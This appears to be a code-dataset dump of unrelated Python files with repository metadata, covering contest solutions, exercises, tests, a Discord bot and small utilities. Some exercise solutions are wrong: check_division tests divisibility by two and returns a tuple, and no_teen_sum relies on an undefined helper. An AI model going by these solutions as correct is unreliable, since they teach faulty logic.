def no_teen_sum(a, b, c):
abc = [a, b, c]
count = 0
for i in abc:
if fix_teen(i) != 0:
count += i
return count
| 18.307692 | 54 | 0.453782 |
a59a7b92c51a2d21e18fafaf6589e0318110cfae | 613 | py | Python | Contests/CCC/CCC '00 J3 - Slot Machines.py | MastaCoder/Projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | 5 | 2018-10-11T01:55:40.000Z | 2021-12-25T23:38:22.000Z | Contests/CCC/CCC '00 J3 - Slot Machines.py | MastaCoder/mini_projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | null | null | null | Contests/CCC/CCC '00 J3 - Slot Machines.py | MastaCoder/mini_projects | ebb0a3134522b12f052fec8d753005f384adf1b1 | [
"MIT"
] | 1 | 2019-02-22T14:42:50.000Z | 2019-02-22T14:42:50.000Z | q = int(input(""))
s1 = int(input(""))
s2 = int(input(""))
s3 = int(input(""))
s1 = s1 - ((s1 // 35) * 35)
s2 = s2 - ((s2 // 100) * 100)
s3 = s3 - ((s3 // 10) * 10)
a = 0
while q > 0:
s1 += 1
if s1 == 35:
s1 = 0
q += 30
q -= 1
if q == 0:
a += 1
break
... | 14.255814 | 62 | 0.319739 |
f9eedf671ef8e1104fd89c9f97e4d00a534d4a08 | 770 | py | Python | Python/EstruturaSequencial/Exercicios/Exercicio14.py | ekballo/Back-End | b252e3b2a16ce36486344823f14afa6691fde9bc | [
"MIT"
] | null | null | null | Python/EstruturaSequencial/Exercicios/Exercicio14.py | ekballo/Back-End | b252e3b2a16ce36486344823f14afa6691fde9bc | [
"MIT"
] | null | null | null | Python/EstruturaSequencial/Exercicios/Exercicio14.py | ekballo/Back-End | b252e3b2a16ce36486344823f14afa6691fde9bc | [
"MIT"
] | null | null | null | #João Papo-de-Pescador, homem de bem, comprou um microcomputador.
# para controlar o rendimento diário de seu trabalho.
# Toda vez que ele traz um peso de peixes.
# maior que o estabelecido pelo regulamento de pesca do estado de São Paulo.
# (50 quilos) deve pagar uma multa de R$ 4,00 por quilo excedente.
# João prec... | 42.777778 | 104 | 0.750649 |
55a2dd3916f80e081d97e45c5793506134701604 | 325 | py | Python | Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/16. check if a function returns a whole number without decimals after dividing.py | jaswinder9051998/Resources | fd468af37bf24ca57555d153ee64693c018e822e | [
"MIT"
] | 101 | 2021-12-20T11:57:11.000Z | 2022-03-23T09:49:13.000Z | Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/16. check if a function returns a whole number without decimals after dividing.py | Sid-1164/Resources | 3987dcaeddc8825f9bc79609ff26094282b8ece1 | [
"MIT"
] | 4 | 2022-01-12T11:55:56.000Z | 2022-02-12T04:53:33.000Z | Programming Languages/Python/Theory/100_Python_Challenges/Section _1_Basic_Coding_Exercises/16. check if a function returns a whole number without decimals after dividing.py | Sid-1164/Resources | 3987dcaeddc8825f9bc79609ff26094282b8ece1 | [
"MIT"
] | 38 | 2022-01-12T11:56:16.000Z | 2022-03-23T10:07:52.000Z | """
Write a Python function that takes a division equation d and checks
if it returns a whole number without decimals after dividing.
Examples:
check_division(4/2) ➞ True
check_division(25/2) ➞ False
"""
def check_division(num):
if num % 2 == 0:
return num, True
else:
return num, False
... | 18.055556 | 68 | 0.661538 |
75dcf75ba51fe6e7bf8c974c475c690dc9661093 | 6,940 | py | Python | tests/onegov/election_day/utils/test_svg_generator.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/election_day/utils/test_svg_generator.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/election_day/utils/test_svg_generator.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from freezegun import freeze_time
from io import StringIO
from tests.onegov.election_day.utils.common import add_election_compound
from tests.onegov.election_day.utils.common import add_majorz_election
from tests.onegov.election_day.utils.common import add_proporz_election
from tests.onegov.election_day.utils.common im... | 42.576687 | 79 | 0.637032 |
f985633aabb3522a60768d27843b603693bf5848 | 720 | py | Python | benwaonline/schemas/tag_schema.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | null | null | null | benwaonline/schemas/tag_schema.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | 16 | 2017-09-13T10:21:40.000Z | 2020-06-01T04:32:22.000Z | benwaonline/schemas/tag_schema.py | goosechooser/benwaonline | e2879412aa6c3c230d25cd60072445165517b6b6 | [
"MIT"
] | null | null | null | from marshmallow_jsonapi import fields
from benwaonline.schemas import BaseSchema
class TagSchema(BaseSchema):
id = fields.String()
name = fields.String()
created_on = fields.DateTime()
num_posts = fields.Int()
class Meta:
type_ = 'tags'
self_url = '/api/tags/{id}'
self_url... | 27.692308 | 56 | 0.595833 |
f9caa36ee0a597a47c10fc40b5137038c308e2ad | 43 | py | Python | Curso_Python/Secao2-Python-Basico-Logica-Programacao/11/aula11.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao2-Python-Basico-Logica-Programacao/11/aula11.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao2-Python-Basico-Logica-Programacao/11/aula11.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | #todo: resolução do exercicio da aula10 imc | 43 | 43 | 0.813953 |
ddfa4e381f52bfa1b56f32b7e7ccfba411c5337a | 1,066 | py | Python | exercises/es/test_04_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/es/test_04_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/es/test_04_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | def test():
assert "nlp.begin_training()" in __solution__, "¿Llamaste a nlp.begin_training?"
assert (
"range(10)" in __solution__
), "¿Estás entrenando por el número correcto de iteraciones?"
assert (
"spacy.util.minibatch(TRAINING_DATA" in __solution__
), "¿Estás usando la herramien... | 50.761905 | 95 | 0.696998 |
34bf79fe6530032d8f88652ce09124d5d56cfe92 | 1,325 | py | Python | format.py | DanGrayson/cgc1 | b9d2de234694aa454248d9bc10ccb22ab92792cd | [
"MIT"
] | 5 | 2015-07-28T17:45:21.000Z | 2019-11-24T15:47:01.000Z | format.py | DanGrayson/cgc1 | b9d2de234694aa454248d9bc10ccb22ab92792cd | [
"MIT"
] | 1 | 2020-05-22T15:21:36.000Z | 2020-05-22T15:38:48.000Z | format.py | DanGrayson/cgc1 | b9d2de234694aa454248d9bc10ccb22ab92792cd | [
"MIT"
] | 1 | 2020-05-09T21:24:10.000Z | 2020-05-09T21:24:10.000Z | #! /usr/bin/python
#Copyright (c) 2014 Gary Furnish
#Licensed under the MIT License (MIT)
import os, fnmatch, json, sys
from multiprocessing import Pool
from utilities import printing_system
with open("settings.json") as settings_file:
settings_json = json.loads(settings_file.read())
clang_install_location = s... | 35.810811 | 147 | 0.677736 |
1f2e84557af81efccdc31def2c679518080da25b | 2,333 | py | Python | src/onegov/org/forms/form_definition.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/forms/form_definition.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/forms/form_definition.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.utils import normalize_for_url
from onegov.form import Form, merge_forms, FormDefinitionCollection
from onegov.form.validators import ValidFormDefinition
from onegov.org import _
from onegov.org.forms.fields import HtmlField
from onegov.org.forms.generic import PaymentMethodForm
from wtforms import Str... | 29.910256 | 77 | 0.630519 |
c096098785b8f40d1394f6c218b27d974609a9c9 | 99 | py | Python | python/advanced_sw/IP_COLLECTOR/test1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 16 | 2018-11-26T08:39:42.000Z | 2019-05-08T10:09:52.000Z | python/advanced_sw/IP_COLLECTOR/test1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | python/advanced_sw/IP_COLLECTOR/test1.py | SayanGhoshBDA/code-backup | 8b6135facc0e598e9686b2e8eb2d69dd68198b80 | [
"MIT"
] | 5 | 2020-02-11T16:02:21.000Z | 2021-02-05T07:48:30.000Z | from selenium import webdriver
browser = webdriver.Firefox()
browser.get('http://seleniumhq.org/') | 24.75 | 37 | 0.777778 |
c0ea4a26de553916d8a6a2bcc33b73c31f7eb22a | 4,783 | py | Python | Packs/Arcanna/Scripts/ArcannaFeedbackPostProcessingScript/ArcannaFeedbackPostProcessingScript.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/Arcanna/Scripts/ArcannaFeedbackPostProcessingScript/ArcannaFeedbackPostProcessingScript.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/Arcanna/Scripts/ArcannaFeedbackPostProcessingScript/ArcannaFeedbackPostProcessingScript.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
ARCANNA_AUTO_CLOSED_TICKET_PLAYBOOK_PLACEHOLDER = "Arcanna decision:"
def get_value_from_context(key):
return demisto.get(demisto.context(), key)
def send_arcanna_feedback(close_notes, close_reason, closing_user... | 40.193277 | 113 | 0.672381 |
f1cc3b2fba226f56954313dab2b6f19c75123cbc | 819 | py | Python | modeling/model_utils/backbone2head.py | UESTC-Liuxin/SkmtSeg | 1251de57fae967aca395644d1c70a9ba0bb52271 | [
"Apache-2.0"
] | 2 | 2020-12-22T08:40:05.000Z | 2021-03-30T08:09:44.000Z | modeling/model_utils/backbone2head.py | UESTC-Liuxin/SkmtSeg | 1251de57fae967aca395644d1c70a9ba0bb52271 | [
"Apache-2.0"
] | null | null | null | modeling/model_utils/backbone2head.py | UESTC-Liuxin/SkmtSeg | 1251de57fae967aca395644d1c70a9ba0bb52271 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
@description:
@author: LiuXin
@contact: xinliu1996@163.com
@Created on: 2020/12/30 下午4:16
"""
def get_inchannels(backbone):
"""
:return:
"""
if (backbone in ['resnet18', 'resnet34', 'resnet50', 'resnet101',
'resnext50_32x4d', 'wide_resnet50_2', 'wide_resnet101_2... | 23.4 | 70 | 0.632479 |
8d17a70c6a50bfa1882bef0d2c971669ab7dd61f | 788 | py | Python | Curso-Em-Video-Python/2Exercicios/071_Simulador_de_caixa_eletronico.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso-Em-Video-Python/2Exercicios/071_Simulador_de_caixa_eletronico.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso-Em-Video-Python/2Exercicios/071_Simulador_de_caixa_eletronico.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | titulo = 'BANC Actuli'
print('='*40)
print(titulo.center(40))
print('='*40)
saque = int(input('Qual o valor a sacar? R$'))
n = nota = nota1 = nota20 = nota50 = nota10 = 0
while n < 2:
if saque >= 50:
nota= saque // 50
nota50 += 1
saque -= 50
elif saque >= 20:
nota = saque // 20
... | 23.878788 | 47 | 0.530457 |
a5e067b4890b4317639f81e7612be10d175e1883 | 395 | py | Python | python/contextlib/contextlib_exitstack_callbacks.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/contextlib/contextlib_exitstack_callbacks.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/contextlib/contextlib_exitstack_callbacks.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | """
ExitStack also supports arbitrary callbacks for closing a context,
making it easy to clean up resources that are not controlled via a
context manager
"""
import contextlib
def callback(*args, **kwargs):
print('closing callback({}, {})'.format(args, kwargs))
with contextlib.ExitStack() as stack:
stack.ca... | 24.6875 | 66 | 0.724051 |
a5f2622b2579f3d9c0c1aea05dd3d5fae58ede28 | 515 | pyde | Python | sketches/primespiral/primespiral.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 4 | 2018-06-03T02:11:46.000Z | 2021-08-18T19:55:15.000Z | sketches/primespiral/primespiral.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | null | null | null | sketches/primespiral/primespiral.pyde | kantel/processingpy | 74aae222e46f68d1c8f06307aaede3cdae65c8ec | [
"MIT"
] | 3 | 2019-12-23T19:12:51.000Z | 2021-04-30T14:00:31.000Z | p = 2
f = 1
MAXITER = 60000
def setup():
size(600, 600)
this.surface.setTitle("Primzahl-Spirale")
background(51)
frameRate(1000)
def draw():
colorMode(HSB)
global p, f, i
translate(width/2, height/2)
noStroke()
fill(p%255, 255, 255)
# Satz von Wilson
if f%p%2:
... | 17.758621 | 45 | 0.485437 |
9e018187e85f7ee1e34428212b0e780da0574e36 | 832 | py | Python | skill/db.py | Lanseuo/luftdaten-skill | 4d11a80d627d86b5afcd8a9ae1d7ccac3659b35a | [
"MIT"
] | 1 | 2019-03-25T07:18:13.000Z | 2019-03-25T07:18:13.000Z | skill/db.py | Lanseuo/luftdaten-skill | 4d11a80d627d86b5afcd8a9ae1d7ccac3659b35a | [
"MIT"
] | null | null | null | skill/db.py | Lanseuo/luftdaten-skill | 4d11a80d627d86b5afcd8a9ae1d7ccac3659b35a | [
"MIT"
] | null | null | null | import boto3
def get_user(user_id):
dynamodb = boto3.resource("dynamodb")
table = dynamodb.Table("luftdaten-skill-users")
result = table.get_item(
Key={
"user_id": user_id
}
)
return result.get("Item")
def add_user(user_id):
dynamodb = boto3.resource("dynamodb")... | 19.809524 | 51 | 0.580529 |
5fe5e49621d153a96d132abc8d6685390aaa592c | 433 | py | Python | envs/rpg/entities/spike.py | etigerstudio/zilong-on-fire | 5144a471b2d39ea38a47d394e648de00dd13cd8b | [
"MIT"
] | 2 | 2021-01-07T01:10:49.000Z | 2022-01-21T09:37:16.000Z | envs/rpg/entities/spike.py | etigerstudio/zilong-on-fire | 5144a471b2d39ea38a47d394e648de00dd13cd8b | [
"MIT"
] | null | null | null | envs/rpg/entities/spike.py | etigerstudio/zilong-on-fire | 5144a471b2d39ea38a47d394e648de00dd13cd8b | [
"MIT"
] | null | null | null | from envs.rpg.entity import Entity
class Spike(Entity):
REPRESENTATION = 1
SPIKE_REWARD = -1
def start(self, world):
pass
def update(self, world):
actor = world.get_actor_entity()
if not actor.pose == actor.Pose.JUMPING and \
actor.position == self.position:
... | 21.65 | 53 | 0.595843 |
27d0a39f208253da9f3ee353f6c6404d09729caf | 738 | py | Python | frappe-bench/apps/erpnext/erpnext/education/doctype/student_group/test_student_group.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/education/doctype/student_group/test_student_group.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/education/doctype/student_group/test_student_group.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2015, Frappe Technologies and Contributors
# See license.txt
from __future__ import unicode_literals
import frappe
import unittest
from frappe.utils.make_random import get_random
class TestStudentGroup(unittest.TestCase):
def test_student_roll_no(self):
doc = frappe.get_doc(... | 26.357143 | 71 | 0.719512 |
8b4c11b2fd015278e60cce1ac7e834bd64716946 | 477 | py | Python | src/bo4e/enum/tarifart.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 1 | 2022-03-02T12:49:44.000Z | 2022-03-02T12:49:44.000Z | src/bo4e/enum/tarifart.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 21 | 2022-02-04T07:38:46.000Z | 2022-03-28T14:01:53.000Z | src/bo4e/enum/tarifart.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | null | null | null | # pylint:disable=missing-module-docstring
from bo4e.enum.strenum import StrEnum
class Tarifart(StrEnum):
"""
Die Tarifart wird verwendet zur Charakterisierung von Zählern und daraus resultierenden Tarifen.
"""
EINTARIF = "EINTARIF" #: Eintarif
ZWEITARIF = "ZWEITARIF" #: Zweitarif
MEHRTARIF... | 29.8125 | 100 | 0.721174 |
9a681c609cbc0159e7e33c8e7411b5bb4af609f4 | 6,909 | py | Python | code/tests/test_executor.py | simonmulser/master-thesis | 5ca2ddda377a0eede5a3c50866e0f90292c5448f | [
"CC-BY-4.0"
] | null | null | null | code/tests/test_executor.py | simonmulser/master-thesis | 5ca2ddda377a0eede5a3c50866e0f90292c5448f | [
"CC-BY-4.0"
] | null | null | null | code/tests/test_executor.py | simonmulser/master-thesis | 5ca2ddda377a0eede5a3c50866e0f90292c5448f | [
"CC-BY-4.0"
] | 1 | 2019-06-05T09:10:30.000Z | 2019-06-05T09:10:30.000Z | import unittest
from mock import MagicMock
from chain import Block
import test_util
from strategy import BlockOrigin, Action, ActionException
from strategy.executor import Executor
from bitcoin.core import CBlock
class ExecutorTest(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(ExecutorTe... | 37.754098 | 105 | 0.694312 |
d059add8381fa878a349fe53f182a26ba2c75c1b | 2,544 | py | Python | Problems/Depth-First Search/medium/pseudoPalindromicPathsBT/pseudo_palindromic_paths_bt.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | 1 | 2021-08-16T14:52:05.000Z | 2021-08-16T14:52:05.000Z | Problems/Depth-First Search/medium/pseudoPalindromicPathsBT/pseudo_palindromic_paths_bt.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | Problems/Depth-First Search/medium/pseudoPalindromicPathsBT/pseudo_palindromic_paths_bt.py | dolong2110/Algorithm-By-Problems-Python | 31ecc7367aaabdd2b0ac0af7f63ca5796d70c730 | [
"MIT"
] | null | null | null | from collections import defaultdict
from typing import Optional
# Definition for a binary tree node.
class TreeNode:
def __init__(self, val=0, left=None, right=None):
self.val = val
self.left = left
self.right = right
def pseudoPalindromicPaths(self, root: Optional[TreeNode]) -> int:
... | 25.44 | 70 | 0.564072 |
d0b3f810f96e7869495cccef7980d54e19b6a8a1 | 4,878 | py | Python | publ/tokens.py | PlaidWeb/Publ | 67efc5e32bf25dbac72a83d1167de038b79db5a7 | [
"MIT"
] | 27 | 2018-11-30T21:32:26.000Z | 2022-03-20T19:46:25.000Z | publ/tokens.py | PlaidWeb/Publ | 67efc5e32bf25dbac72a83d1167de038b79db5a7 | [
"MIT"
] | 249 | 2018-09-30T07:04:37.000Z | 2022-03-29T04:31:00.000Z | publ/tokens.py | PlaidWeb/Publ | 67efc5e32bf25dbac72a83d1167de038b79db5a7 | [
"MIT"
] | 4 | 2019-03-01T06:46:13.000Z | 2019-06-30T17:45:46.000Z | """ IndieAuth token endpoint """
import json
import logging
import time
import typing
import flask
import itsdangerous
import requests
import werkzeug.exceptions as http_error
from .config import config
LOGGER = logging.getLogger(__name__)
def signer():
""" Gets the signer/validator for the tokens """
ret... | 32.738255 | 87 | 0.590816 |
d0f919ad9cfe633b4feb6fd20132a3b2590ac918 | 928 | py | Python | 7_DeepLearning-GANs/02_DCGAN/Discriminator.py | felixdittrich92/DeepLearning-tensorflow-keras | 2880d8ed28ba87f28851affa92b6fa99d2e47be9 | [
"Apache-2.0"
] | null | null | null | 7_DeepLearning-GANs/02_DCGAN/Discriminator.py | felixdittrich92/DeepLearning-tensorflow-keras | 2880d8ed28ba87f28851affa92b6fa99d2e47be9 | [
"Apache-2.0"
] | null | null | null | 7_DeepLearning-GANs/02_DCGAN/Discriminator.py | felixdittrich92/DeepLearning-tensorflow-keras | 2880d8ed28ba87f28851affa92b6fa99d2e47be9 | [
"Apache-2.0"
] | null | null | null | '''
Discriminator - bewertet die vom Generator erzeugten Bilder ob Real oder Fake
'''
from tensorflow.keras.models import Sequential, Model
from tensorflow.keras.layers import *
from tensorflow.keras.optimizers import *
def build_discriminator(img_shape):
model = Sequential() #28x28
model.add(Conv2D(64, ... | 34.37037 | 97 | 0.688578 |
f5df78ca1be55fa27098e6eff282bddb6a88e868 | 1,606 | py | Python | tssb/tssb.py | sharadmv/tssb | 9385ea9ab199070034a36f92b6520152f801823a | [
"MIT"
] | null | null | null | tssb/tssb.py | sharadmv/tssb | 9385ea9ab199070034a36f92b6520152f801823a | [
"MIT"
] | null | null | null | tssb/tssb.py | sharadmv/tssb | 9385ea9ab199070034a36f92b6520152f801823a | [
"MIT"
] | null | null | null | import numpy as np
import scipy.stats as stats
from dist import Distribution
from gem import LazyGEM
def depth_weight(a, l):
def dpw(j):
return l ** j * a
return dpw
class TSSB(Distribution):
def __init__(self, index=(), depth=0, alpha=depth_weight(1.0, 0.5), gamma=0.2):
self.index = ind... | 28.678571 | 83 | 0.552927 |
de2575a582c58f8fcfcec0a91bd84c250eee87cd | 250 | py | Python | Python/Courses/Python-Tutorials.Telusko/00.Fundamentals/07.06-for-Loop-Over-Dictionary.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Telusko/00.Fundamentals/07.06-for-Loop-Over-Dictionary.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | Python/Courses/Python-Tutorials.Telusko/00.Fundamentals/07.06-for-Loop-Over-Dictionary.py | shihab4t/Books-Code | b637b6b2ad42e11faf87d29047311160fe3b2490 | [
"Unlicense"
] | null | null | null | dt = {"shihab": "programmer", "mahinur": "graphic designer", "jion": "civil engineer"}
for i in dt:
print(i, end=" ")
print()
for pro in dt.values():
print(pro, end=" ")
print("\n")
for i, pro in dt.items():
print(i,": ", pro)
print() | 17.857143 | 86 | 0.568 |
a0ce94f0ee33cd51c8683516ee3c5585045ad570 | 1,879 | py | Python | imwievaluation/spreadsheet.py | ESchae/IMWIEvaluation | 2fa661711b7b65cba25c1fa9ba69e09e75c7655f | [
"MIT"
] | null | null | null | imwievaluation/spreadsheet.py | ESchae/IMWIEvaluation | 2fa661711b7b65cba25c1fa9ba69e09e75c7655f | [
"MIT"
] | null | null | null | imwievaluation/spreadsheet.py | ESchae/IMWIEvaluation | 2fa661711b7b65cba25c1fa9ba69e09e75c7655f | [
"MIT"
] | 1 | 2019-10-19T10:11:17.000Z | 2019-10-19T10:11:17.000Z | import gspread
from oauth2client.service_account import ServiceAccountCredentials as sa_creds
# TODO: after generating, save key + title / lecturer for later use!
class SpreadsheetHandler(object):
""" Class to handle data transfer via Google Spreadsheets Python API.
Uses gspread: https://github.com/burnash/g... | 35.45283 | 78 | 0.664715 |
9d09f33df7bb54978c9ad78e06bf86dc026107c3 | 127 | py | Python | Online-Judges/DimikOJ/Python/03-falling-numbers.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | 3 | 2021-06-15T01:19:23.000Z | 2022-03-16T18:23:53.000Z | Online-Judges/DimikOJ/Python/03-falling-numbers.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | Online-Judges/DimikOJ/Python/03-falling-numbers.py | shihab4t/Competitive-Programming | e8eec7d4f7d86bfa1c00b7fbbedfd6a1518f19be | [
"Unlicense"
] | null | null | null | number = 1000
for i in range(1,201):
for j in range(1, 6):
print(number, end ="\t")
number -= 1
print() | 21.166667 | 32 | 0.511811 |
a06e87374eededc329a872da467cdb5f0696d759 | 2,091 | py | Python | .venv/Lib/site-packages/dexpy/box_behnken.py | AI-Assistant/FEMAG-Python | ff86e8f41485ae9df6034e6b8e810b59f8094c70 | [
"MIT"
] | 21 | 2016-10-19T18:13:03.000Z | 2021-11-02T13:58:31.000Z | .venv/Lib/site-packages/dexpy/box_behnken.py | AI-Assistant/FEMAG-Python | ff86e8f41485ae9df6034e6b8e810b59f8094c70 | [
"MIT"
] | 43 | 2016-10-11T20:56:28.000Z | 2020-08-20T16:39:38.000Z | .venv/Lib/site-packages/dexpy/box_behnken.py | AI-Assistant/FEMAG-Python | ff86e8f41485ae9df6034e6b8e810b59f8094c70 | [
"MIT"
] | 6 | 2017-12-22T03:47:37.000Z | 2021-03-13T03:45:26.000Z | """Functions for building Box-Behnken designs."""
import dexpy.design as design
import pandas as pd
import numpy as np
import os
def build_box_behnken(factor_count, center_points = 5):
"""Builds a Box-Behnken design.create_model_matrix
Box-Behnken designs are response surface designs, specially made to requ... | 41 | 132 | 0.738881 |
268a40b28b6bce9be9684d9c544b56ffbffcfb51 | 2,610 | py | Python | python/csv_occurence_count.py | sma-h/openapc-de | 0ec2d42d525219d801f71538f5b30ca6fecd9d3a | [
"Cube"
] | 89 | 2015-02-13T13:46:06.000Z | 2022-03-13T16:42:44.000Z | python/csv_occurence_count.py | sma-h/openapc-de | 0ec2d42d525219d801f71538f5b30ca6fecd9d3a | [
"Cube"
] | 91 | 2015-03-12T13:31:36.000Z | 2022-01-14T07:37:37.000Z | python/csv_occurence_count.py | sma-h/openapc-de | 0ec2d42d525219d801f71538f5b30ca6fecd9d3a | [
"Cube"
] | 138 | 2015-03-04T15:23:43.000Z | 2022-03-09T15:11:52.000Z | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import argparse
import codecs
from collections import OrderedDict
import sys
import openapc_toolkit as oat
ARG_HELP_STRINGS = {
"source_file": "The source csv file",
"count_column": "The numerical index of the column where values " +
"should ... | 35.27027 | 91 | 0.603831 |
cd45ff18e5cab22c9aa35e16fd6dc9151e5ed80b | 980 | py | Python | customclient.py | Strange-Penguins/Stython | f4f96383681f311dd0ecceddf15417c78c974830 | [
"MIT"
] | 1 | 2021-03-13T21:50:12.000Z | 2021-03-13T21:50:12.000Z | customclient.py | Strange-Penguins/Stython | f4f96383681f311dd0ecceddf15417c78c974830 | [
"MIT"
] | 4 | 2021-03-13T22:22:11.000Z | 2021-03-14T22:17:49.000Z | customclient.py | Strange-Penguins/Stython | f4f96383681f311dd0ecceddf15417c78c974830 | [
"MIT"
] | null | null | null | from discord.ext.commands import Bot
import discord
from datetime import datetime
import platform
import databasemanager as dbm
class CustomClient(Bot):
def __init__(self, **options):
self.creation_date = datetime.now()
super().__init__(**options)
self.loop.create_task(self.greet())
... | 35 | 120 | 0.62551 |
f846bc0871bba8028e0117e09f0110f19b20bd95 | 811 | py | Python | apps/utils/nodemgr.py | dongdawang/ssrmgmt | a41e595aec503dcb191a20ea8d58233bbb8f2db0 | [
"MIT"
] | null | null | null | apps/utils/nodemgr.py | dongdawang/ssrmgmt | a41e595aec503dcb191a20ea8d58233bbb8f2db0 | [
"MIT"
] | null | null | null | apps/utils/nodemgr.py | dongdawang/ssrmgmt | a41e595aec503dcb191a20ea8d58233bbb8f2db0 | [
"MIT"
] | null | null | null | from django.core.cache import cache
class NodeStatusCacheMgr(object):
def __init__(self):
pass
def set_node_status(self, id, status):
key = "ssrmgmt_node_status_" + str(id)
if status:
val = 'online'
else:
val = 'offline'
cache.set(key, val, 80)
... | 24.575758 | 48 | 0.553637 |
3e34a3ee4a65e0ac70b41bf3151a26c8b3ce1fce | 6,781 | py | Python | official/cv/brdnet/infer/sdk/main.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
] | 77 | 2021-10-15T08:32:37.000Z | 2022-03-30T13:09:11.000Z | official/cv/brdnet/infer/sdk/main.py | leelige/mindspore | 5199e05ba3888963473f2b07da3f7bca5b9ef6dc | [
"Apache-2.0"
